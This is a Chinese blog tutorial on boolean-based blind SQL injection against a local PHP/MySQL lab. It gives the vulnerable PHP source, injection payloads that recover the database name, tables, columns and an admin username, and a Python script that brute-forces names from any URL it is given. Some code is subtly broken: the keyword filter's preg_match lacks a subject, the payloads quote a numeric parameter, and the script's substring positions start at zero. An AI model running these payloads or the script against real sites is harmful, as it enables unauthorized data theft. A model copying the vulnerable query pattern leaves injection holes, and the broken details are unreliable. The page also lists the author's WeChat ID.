盲注(布尔型)的原理分析 上篇

前言:

布尔型盲注是在没有回显点,只会返回对或者错,这两种情况。我就是渗透测试时长两年半的低危小子

关于布尔型注入,和时间盲注。会涉及到下面这几个函数:

length()            : 返回字符串长度
substr()            :截取字符串 (语法:substr(string,start,leng))
ascii()             : 返回字符的ascii码(将字符等变为数字)
sleep()             : 需要延迟的时间

if(str1,str2,str3)  : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个

正文:

 首先判断是否存在盲注 直接贴出源码

可以看出只有正常和错误的2个显示

<?php
$con = mysqli_connect('127.0.0.1','root','root','test');
if (mysqli_connect_errno())
{
    echo "连接失败".mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i")){
    exit("no");
}
$result = mysqli_query($con,"select * from user where id=".$id);
$row = mysqli_fetch_array($result);
if ($row){
    exit("yes");
}else{
    exit("no");
}
?>

这是发现,看源码。只会回显True或者Flase。

0x01. 布尔型盲注

第一步:猜测数据库名称的长度

id=1' and length(database()) = 1-- qwe
id=1' and length(database()) = 2-- qwe
id=1' and length(database()) = 3-- qwe
id=1' and length(database()) = 4-- qwe

我们可以这样只用burp去跑,就会发现页面不正常。或者返回包长度不一样

 

第二步:查询库名

利用substr() 截取数据库,然后使用ascii() 函数,转换为数字,也就是ascii码

id=1' and (ascii(substr(database(),1,1))) = 115-- q
id=1' and (ascii(substr(database(),1,1))) = 116-- q

通过burp爆破,发现115的时候是 no,116的时候是yes

至于116是什么意思嘞~~~~~

其实就是ascii码,然后看下面图,我们就知道116对应的字符是 t

这样的依次下去,我们在看第剩下的三为,因为我们length函数测试了,发现只有四位

id=1' and (ascii(substr(database(),2,1))) = 101-- q
id=1' and (ascii(substr(database(),3,1))) = 115-- q
id=1' and (ascii(substr(database(),4,1))) = 116-- q

这样,我们就知道了这个数据库 名叫做 : test

 

第三步,获取表名

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117-- qq

这里limit 0,1 : 意思是说,返回第一个表的表名,然后再通过substr截取出第一个,

然后再通过ascii 函数来转换,具体不懂substr可以看下前言写的

这里也可以直接爆破表名

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=115-- qq
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101-- qq
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=114-- qq

通过过这样,就可以知道了表名 是 : user

 

第四步:获取字段

id=1' and ascii(substr((select column_name from information_schema.columns
 where table_schema=database() and table_name='user' limit 0,1),1,1)) >= 105 -- qq

然后发现正确,然后发现是id,我们不需要这个,我们就改成 limit 1,1

依次下来就知道了,具体就得出了字段,分别为。id,username,password

 

第五步,查询数据

and (ascii(substr((select username from user limit 1,1),1,1)))=97--+

通过爆破。就知道了字段,第一个是97,看对应的ascii,就是a

然后依次寻找,得知是admin

 

python写布尔型盲注脚本

这里我直接的帖出来了,头晕眼花花了。其实我是想写个通用的。但是因为没时间(懒),晚上 我追无心法师,看着好看。咳咳,就

不写了,其实很简单的,就是查看页面返回信息,然后判断长度。再使用for循环。然后这边有点繁琐的,好多地方需要修改,但是我想想了,时间不够,2天写一篇博客,时间太缺了(其实是跟女朋友打游戏,研究其他方向)

参考参考就好。我也参考了一下其他的。然后修改了一下。

 首要理解的,就是知道布尔型盲注,他返回的页面只有 true和flase。所以 返回的页面只有对,和错。所以判断长度,然后循环。

这个比较耗时间,因为我写的for循环,本意上是打算通用的。

import requests
import time

db = ""
tab = ""
payload_url = str(input("输入目标网址:"))
payload_db = payload_url + "' and ascii(substr(database(),{sub},1))={char}--+"
payload_tab = payload_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {t1},1),{s1},1))={char}-- qq"
chars = '@_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
test1 = requests.get(payload_url+"'")
text1 = len(test1.text)

# test2 = requests.get(payload_url)
# text2 = test2.text

def database(): #获取数据库名
    for sub in range(9):
        for char in chars:
            char_ascii = ord(char)  # 16编码后的 字符
            urls = payload_db.format(sub=sub, char=char_ascii)  # 代入url的目标站点
            tar = requests.get(urls)  # 对目标站点发起请求
            length = len(tar.text)
            if length == text1:
                global db
                db += char
                print("[~]正在猜测库名:%s..." % db)
                break
    print("*" * 10)
    print("[+]当前的数据库名:%s"%db)


def table():
    for tab_num in range(10):
        for sub in range(10):
            for char in chars:
                char_ascii = ord(char)
                #print(char_ascii)
                urls = payload_tab.format(t1=tab_num,s1=sub,char=char_ascii)
                tar = requests.get(urls)
                length = len(tar.text)
                if length == text1:
                    global tab
                    tab += char
                    print("[~]正在猜测表名:%s..." % tab)
                    break
    print("*" * 10)
    print("[+]当前的表名:%s"%tab)


if __name__=='__main__':
    start = time.time()
    database()
    table()
    print("---"*6)
    print("[+]当前的数据库名:%s" % db)
    print("[+]当前的表名:%s" % tab)
    end = time.time()
    print("目前总耗时:%ss"%(int(end - start)))

 

运行结果:

稍微的修改一下,也可以通用的去对其他网址进行探测

 

文末:

似乎也就这样了,好像没啥补充的。sqlmap跑盲注也很简单,他会自动的去跑。然后应该莫得问题了

关于脚本问题,有啥问题的话可以问我,一起学习的啦~~~~~~~

vx:zym18350405381

别社我就好,我人畜无害,低调求发展

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值